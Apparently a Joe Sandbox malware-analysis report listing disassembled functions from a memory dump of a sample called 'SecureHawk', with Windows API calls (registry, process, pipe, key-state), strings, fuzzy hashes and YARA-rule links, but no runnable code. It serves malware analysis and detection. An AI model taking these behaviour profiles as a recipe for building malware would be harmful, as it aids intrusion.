Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: a63d304328a6233c4a6822008af4a27898198856e344450327a23470b352c846
Instruction ID: 7859eb0e920c4f361691a1da3c8b8e607170e4d7070e09b8171fa6e6dce7217d
Opcode Fuzzy Hash: a63d304328a6233c4a6822008af4a27898198856e344450327a23470b352c846
Instruction Fuzzy Hash: F2918E716043059FC705EF24C48096BBBF8EF89354F148A6EF88A9B361DB31E945CB52

Function 003530AA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0030436A: _wcscpy.LIBCMT ref: 0030438D

_memset.LIBCMT ref: 0035319B
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 003531CA
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0035327D
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 003532AB

Strings

0, xrefs: 00353187

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 747ac30b6d87db64c03c55f1b6cdbc16672222e73d2353dcbbee3cd3689225c0
Instruction ID: c2c14a81795074f72feb78614d6d38f7541ddf104411935d9a89b53fe479451c
Opcode Fuzzy Hash: 747ac30b6d87db64c03c55f1b6cdbc16672222e73d2353dcbbee3cd3689225c0
Instruction Fuzzy Hash: BA51D1716087009AD71BEB28D845AABB7E8AF49391F050E2DFC95D71A1DB70CA488792

Function 0037DC66 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,003687D6,?,00000000), ref: 0037DCCE
SetErrorMode.KERNEL32(00000001,?,00000000,00000000,00000000,?,003687D6,?,00000000,00000000), ref: 0037DD04
GetProcAddress.KERNEL32(00000000,DllGetClassObject), ref: 0037DD15
SetErrorMode.KERNEL32(00000000,?,00000000,00000000,00000000,?,003687D6,?,00000000,00000000), ref: 0037DD97

Strings

DllGetClassObject, xrefs: 0037DD0A

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: b715034641b5ac00cb6cb9484a91876b0bbdfc75bd8ecd01b813a9610297e0c2
Instruction ID: 724c3c749291daf0a10b515d57cc74645be9666cd3764f70f027b21d5198f82b
Opcode Fuzzy Hash: b715034641b5ac00cb6cb9484a91876b0bbdfc75bd8ecd01b813a9610297e0c2
Instruction Fuzzy Hash: 64418CB1600605EFDB27DF64C984AAA7BB9EF45310F14C0A9EC099F205D7B5DD44CBA0

Function 00352D66 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00352DD3
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00352DEF
DeleteMenu.USER32(?,00000007,00000000), ref: 00352E35
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,003B6890,00000000), ref: 00352E7E

Strings

0, xrefs: 00352DC8

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 23b8ae4522aa79698cac6c9ec0c9e2fcd3fcb946f10ef2767db68b2baa2f5bf9
Instruction ID: 1b249203889481a07e2d02477f2847fe6fc59db4776108e71300f2b5bd4f6b4f
Opcode Fuzzy Hash: 23b8ae4522aa79698cac6c9ec0c9e2fcd3fcb946f10ef2767db68b2baa2f5bf9
Instruction Fuzzy Hash: B54191312043419FDB26DF24C886F1BB7E8AF8A311F05461DFC659B2E1D770A909CBA2

Function 0036DC56 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0036DC76

Part of subcall function 00301462: _memmove.LIBCMT ref: 003014B0

Strings

none, xrefs: 0036DD51
winapi, xrefs: 0036DCE7
cdecl, xrefs: 0036DCCD
stdcall, xrefs: 0036DCF8

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: 696346e334a1ccfb7ccb4fa682825b35b01ad0401918e996474f5994c6ca0265
Instruction ID: 00e2dde6df5c6e0107ff93308057ec84318fee9ba6e124f0c51a889875b0fb2f
Opcode Fuzzy Hash: 696346e334a1ccfb7ccb4fa682825b35b01ad0401918e996474f5994c6ca0265
Instruction Fuzzy Hash: 2231AF70A00619AFCF06EF54CC918FEB3B9FF55310B108629E8269B6D5DB71AD05CB80

Function 0034982B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00301A36: _memmove.LIBCMT ref: 00301A77

Part of subcall function 0034B57D: GetClassNameW.USER32(?,?,000000FF), ref: 0034B5A0

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 003498AF
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 003498C2
SendMessageW.USER32(?,00000189,?,00000000), ref: 003498F2

Part of subcall function 00301821: _memmove.LIBCMT ref: 0030185B

Strings

ComboBox, xrefs: 00349839
ListBox, xrefs: 0034986E

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: 6996a5ab04abfe6d2c637f07da39121f898d45b6dd3a36a1f01fc8f7d34ee821
Instruction ID: b01be2e6eeefd91607782bb8f827e4ea8b3440b67aa771fcdde3f50c8760d9dc
Opcode Fuzzy Hash: 6996a5ab04abfe6d2c637f07da39121f898d45b6dd3a36a1f01fc8f7d34ee821
Instruction Fuzzy Hash: FE213571A41108BEEB1AABA0CC96DFFB7ACDF46360F10411AF8219F2E1DB345D099720

Function 003767D4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 002F2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 002F214F
Part of subcall function 002F2111: GetStockObject.GDI32(00000011), ref: 002F2163
Part of subcall function 002F2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 002F216D

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 0037684E
LoadLibraryW.KERNEL32(?), ref: 00376855
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 0037686A
DestroyWindow.USER32(?), ref: 00376872

Strings

SysAnimate32, xrefs: 00376829

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 33290c1ae8ded9fdf4769324fb024cf91e406536e7a60308d65ec355cb408cfc
Instruction ID: de2e48afa66c1ff2b3983bc7543e6d54dea520d651aceded1041e2c7eba5465a
Opcode Fuzzy Hash: 33290c1ae8ded9fdf4769324fb024cf91e406536e7a60308d65ec355cb408cfc
Instruction Fuzzy Hash: 3421F271200A06BFEF224F74CCA2EBB33ADEF49368F118628FA1892090D735CC519721

Function 003571C4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 003571E4
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00357217
GetStdHandle.KERNEL32(0000000C), ref: 00357229
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00357263

Strings

nul, xrefs: 0035725E

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: b8311a0d55bdf99ec4ecf5dc2ab2d7c927bd2d36d010e25ab31bd128aa33a268
Instruction ID: 7dbb807ba493b96b799ef8f6a710dd7b54d1f8ca873ce06f373fb3ab7c370f16
Opcode Fuzzy Hash: b8311a0d55bdf99ec4ecf5dc2ab2d7c927bd2d36d010e25ab31bd128aa33a268
Instruction Fuzzy Hash: C121B371504306ABDB229F28EC05E9A77F8BF45722F204A59FCB0D72E0DB709949CB60

Function 00357292 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 003572B1
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 003572E3
GetStdHandle.KERNEL32(000000F6), ref: 003572F4
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 0035732E

Strings

nul, xrefs: 00357329

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: aa2670ff8ca0b696549d81e64458bd31a7c185d13cbaa41cf6e830e0a584ccf0
Instruction ID: 937b7bc3f0f5a68a2d117e696bf593357e1b79c8ee6ec4a99f919942e4addf74
Opcode Fuzzy Hash: aa2670ff8ca0b696549d81e64458bd31a7c185d13cbaa41cf6e830e0a584ccf0
Instruction Fuzzy Hash: E6218E75508305ABDB229F69E809EA977ECAF55731F200E19FCA0E72E0D7719848CB61

Function 0035B0F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0035B104
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 0035B158
__swprintf.LIBCMT ref: 0035B171
SetErrorMode.KERNEL32(00000000,00000001,00000000,00380980), ref: 0035B1AF

Strings

%lu, xrefs: 0035B16B

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: aa307e309b79b611abd574abc746354970c327fd891251d9b7235137e8b00097
Instruction ID: d2bb42c497923f117abd1a794d4416ef0ebd09556fa67ea503db5c148baadd37
Opcode Fuzzy Hash: aa307e309b79b611abd574abc746354970c327fd891251d9b7235137e8b00097
Instruction Fuzzy Hash: 25217134A00208AFCB51EF64CD85DEEB7B8EF89314F1040A9F909EB251DB71EA45CB61

Function 0034A9E8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00301821: _memmove.LIBCMT ref: 0030185B

Part of subcall function 0034A835: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0034A852
Part of subcall function 0034A835: GetWindowThreadProcessId.USER32(?,00000000), ref: 0034A865
Part of subcall function 0034A835: GetCurrentThreadId.KERNEL32 ref: 0034A86C
Part of subcall function 0034A835: AttachThreadInput.USER32(00000000), ref: 0034A873

GetFocus.USER32 ref: 0034AA0D

Part of subcall function 0034A87E: GetParent.USER32(?), ref: 0034A88C

GetClassNameW.USER32(?,?,00000100), ref: 0034AA56
EnumChildWindows.USER32(?,0034AACE), ref: 0034AA7E
__swprintf.LIBCMT ref: 0034AA98

Strings

%s%d, xrefs: 0034AA92

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: 99444a82112dda17a708fab04e1dda029136321720af5ed649e9686393cb4ef8
Instruction ID: 2e7f2cb3ffbdd80957d6cd08daf6c27c68fcde8fcb1232b30303254c25c0edd2
Opcode Fuzzy Hash: 99444a82112dda17a708fab04e1dda029136321720af5ed649e9686393cb4ef8
Instruction Fuzzy Hash: 45116071640205ABDB56BFA0CD85FEA7BACEF48700F0440A9FE18AE182DA716945CB71

Function 00352153 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00352184

Strings

REMOVE, xrefs: 0035218A
KEYS, xrefs: 0035219B
APPEND, xrefs: 003521BD
EXISTS, xrefs: 003521AC

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: b280bc1d32bceb0a1c585cafe47f276ea08c303ff7e36ffbee68a3208ad095d4
Instruction ID: baf94f4df375c66dda5793e66c83abccbead186e7dbe91ba98ce73c1dc167f9f
Opcode Fuzzy Hash: b280bc1d32bceb0a1c585cafe47f276ea08c303ff7e36ffbee68a3208ad095d4
Instruction Fuzzy Hash: C41170349001088F8F0AEF54C8529FEB775FF5A304B504155DC26AB252DB725D4ACF80

Function 0036F006 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0036F0B8
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0036F0E8
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 0036F21B
CloseHandle.KERNEL32(?), ref: 0036F29C

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 711000ce0cc6029d161d94b8fe41be0b858aa049feb228186ab7fdb099595ec9
Instruction ID: 893621b617d10f9a2f8ccef7d36479aaa6ea2938fa925e2f3edca5a72fa068e7
Opcode Fuzzy Hash: 711000ce0cc6029d161d94b8fe41be0b858aa049feb228186ab7fdb099595ec9
Instruction Fuzzy Hash: 4D818F756103009FD721EF28E882B3BF7E5AF48750F14892DFA999B292D7B0AD148F51

Function 0037045F Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00301A36: _memmove.LIBCMT ref: 00301A77

Part of subcall function 00371242: CharUpperBuffW.USER32(?,?,?,?,?,?,?,003701D5,?,?), ref: 00371259

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00370525
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00370564
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 003705AB
RegCloseKey.ADVAPI32(?,?), ref: 003705D7
RegCloseKey.ADVAPI32(00000000), ref: 003705E4

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: f9c4f9d57aba5936c920b3c3b03be525d4c757609a4ba6888b4e19df793a7395
Instruction ID: a8ca54f6b4d3c2cad591f183b9019fefc2eba4f6fbfa5a419ac6349fead790ef
Opcode Fuzzy Hash: f9c4f9d57aba5936c920b3c3b03be525d4c757609a4ba6888b4e19df793a7395
Instruction Fuzzy Hash: 61514A71218204AFD71AEF64C891E6BB7E8FF85354F00891DF5998B292DB74E908CB52

Function 0035EA21 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 0035EACF
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 0035EAF8
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0035EB37

Part of subcall function 002F4D37: __itow.LIBCMT ref: 002F4D62
Part of subcall function 002F4D37: __swprintf.LIBCMT ref: 002F4DAC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 0035EB5C
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0035EB64

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 3bfb2d288745ea5606b01cec86bc313408b29a88844ac54900bbece17e4ecca1
Instruction ID: 03c415072ea0efe49f0b846ebf29f2b57076fad8065e4f4c11536cfff38b4c92
Opcode Fuzzy Hash: 3bfb2d288745ea5606b01cec86bc313408b29a88844ac54900bbece17e4ecca1
Instruction Fuzzy Hash: 0F514D35A00209DFCB06EF64C981DAEBBF5EF08315B1480A9E949AB361CB71ED55DF50

Function 0037A443 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cae514d5fe47af0df1bfef53ba6f9a33e812d8354373b7f5493f36f8017cac39
Instruction ID: f4078894ff7f88e173847f77f45fdfc1b1503212a1c18ec79ea4f26e642361b0
Opcode Fuzzy Hash: cae514d5fe47af0df1bfef53ba6f9a33e812d8354373b7f5493f36f8017cac39
Instruction Fuzzy Hash: 0941F435904604AFC732DF28CC48FADBBA8FB8A320F168155F95DA72D1D6789E40DB52

Function 002F2714 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 002F2727
ScreenToClient.USER32(003B67B0,?), ref: 002F2744
GetAsyncKeyState.USER32(00000001), ref: 002F2769
GetAsyncKeyState.USER32(00000002), ref: 002F2777

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 05b52100d7c722d0ce2946ffea0ca06646e1a6c3e67c82703f2207f713aa4941
Instruction ID: 5a1946424e2573ac0211f520fe5845cbf55bca245698a5483551b7ec63763861
Opcode Fuzzy Hash: 05b52100d7c722d0ce2946ffea0ca06646e1a6c3e67c82703f2207f713aa4941
Instruction Fuzzy Hash: 9A414D75514219FBDF1A9FA4C844AFDFB74FB06360F20436AF92896290CB30A964DF91

Function 003493BA Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 003493CB
